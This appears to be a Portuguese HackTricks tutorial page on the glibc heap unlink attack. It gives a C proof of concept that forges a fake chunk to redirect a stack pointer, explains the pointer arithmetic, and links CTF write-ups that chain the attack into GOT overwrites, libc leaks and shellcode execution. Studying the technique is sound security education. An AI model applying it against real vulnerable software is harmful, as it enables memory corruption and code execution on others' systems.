Unlink Attack

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informações Básicas

Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas verificações foram adicionadas, tornando a nova versão do ataque mais interessante, mais complexa e inútil.

Exemplo de Código:

Código
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];               // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

  • O ataque não funciona se tcaches forem usados (após 2.26)

Objetivo

Este ataque permite mudar um ponteiro para um chunk para apontar 3 endereços antes de si mesmo. Se este novo local (cercanias de onde o ponteiro estava localizado) tiver coisas interessantes, como outras alocações controláveis / pilha..., é possível ler/escrever nelas para causar um dano maior.

  • Se este ponteiro estava localizado na pilha, porque agora está apontando 3 endereços antes de si mesmo e o usuário potencialmente pode lê-lo e modificá-lo, será possível vazar informações sensíveis da pilha ou até mesmo modificar o endereço de retorno (talvez) sem tocar no canário.
  • Em exemplos de CTF, este ponteiro está localizado em um array de ponteiros para outras alocações, portanto, fazendo-o apontar 3 endereços antes e sendo capaz de ler e escrever, é possível fazer com que os outros ponteiros apontem para outros endereços.
    Como potencialmente o usuário pode ler/escrever também as outras alocações, ele pode vazar informações ou sobrescrever novos endereços em locais arbitrários (como no GOT).

Requisitos

  • Algum controle em uma memória (por exemplo, pilha) para criar alguns chunks dando valores a alguns dos atributos.
  • Vazamento da pilha para definir os ponteiros do chunk falso.

Ataque

  • Existem alguns chunks (chunk1 e chunk2)
  • O atacante controla o conteúdo do chunk1 e os cabeçalhos do chunk2.
  • No chunk1, o atacante cria a estrutura de um chunk falso:
  • Para contornar as proteções, ele se certifica de que o campo size está correto para evitar o erro: corrupted size vs. prev_size while consolidating
  • e os campos fd e bk do chunk falso estão apontando para onde o ponteiro chunk1 está armazenado com offsets de -3 e -2, respectivamente, então fake_chunk->fd->bk e fake_chunk->bk->fd apontam para a posição na memória (pilha) onde o endereço real do chunk1 está localizado:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

  • Os cabeçalhos do chunk2 são modificados para indicar que o chunk anterior não está em uso e que o tamanho é o tamanho do chunk falso contido.
  • Quando o segundo chunk é liberado, então este chunk falso é desassociado, ocorrendo:
  • fake_chunk->fd->bk = fake_chunk->bk
  • fake_chunk->bk->fd = fake_chunk->fd
  • Anteriormente, foi feito para que fake_chunk->fd->bk e fake_chunk->bk->fd apontem para o mesmo lugar (a localização na pilha onde chunk1 estava armazenado, então era uma lista encadeada válida). Como ambos estão apontando para o mesmo local, apenas o último (fake_chunk->bk->fd = fake_chunk->fd) terá efeito.
  • Isso irá sobrescrever o ponteiro para chunk1 na pilha para o endereço (ou bytes) armazenados 3 endereços antes na pilha.
  • Portanto, se um atacante puder controlar o conteúdo do chunk1 novamente, ele poderá escrever dentro da pilha, podendo potencialmente sobrescrever o endereço de retorno pulando o canário e modificar os valores e pontos de variáveis locais. Mesmo modificando novamente o endereço do chunk1 armazenado na pilha para um local diferente onde, se o atacante puder controlar novamente o conteúdo do chunk1, ele poderá escrever em qualquer lugar.
  • Note que isso foi possível porque os endereços estão armazenados na pilha. O risco e a exploração podem depender de onde os endereços do chunk falso estão sendo armazenados.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

Referências

  • https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
  • Embora seria estranho encontrar um ataque unlink mesmo em um CTF, aqui você tem alguns writeups onde este ataque foi usado:
  • Exemplo de CTF: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
  • Neste exemplo, em vez da pilha, há um array de endereços malloc'ed. O ataque unlink é realizado para poder alocar um chunk aqui, portanto, sendo capaz de controlar os ponteiros do array de endereços malloc'ed. Então, há outra funcionalidade que permite modificar o conteúdo dos chunks nesses endereços, o que permite apontar endereços para o GOT, modificar endereços de função para obter vazamentos e RCE.
  • Outro exemplo de CTF: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
  • Assim como no exemplo anterior, há um array de endereços de alocações. É possível realizar um ataque unlink para fazer o endereço da primeira alocação apontar algumas posições antes de começar o array e sobrescrever esta alocação na nova posição. Portanto, é possível sobrescrever ponteiros de outras alocações para apontar para o GOT de atoi, imprimi-lo para obter um vazamento de libc e, em seguida, sobrescrever o GOT de atoi com o endereço de um gadget.
  • Exemplo de CTF com funções malloc e free personalizadas que abusam de uma vulnerabilidade muito semelhante ao ataque unlink: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
  • Há um overflow que permite controlar os ponteiros FD e BK do malloc personalizado que serão (custom) liberados. Além disso, a heap tem o bit de execução, então é possível vazar um endereço da heap e apontar uma função do GOT para um chunk da heap com um shellcode para executar.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks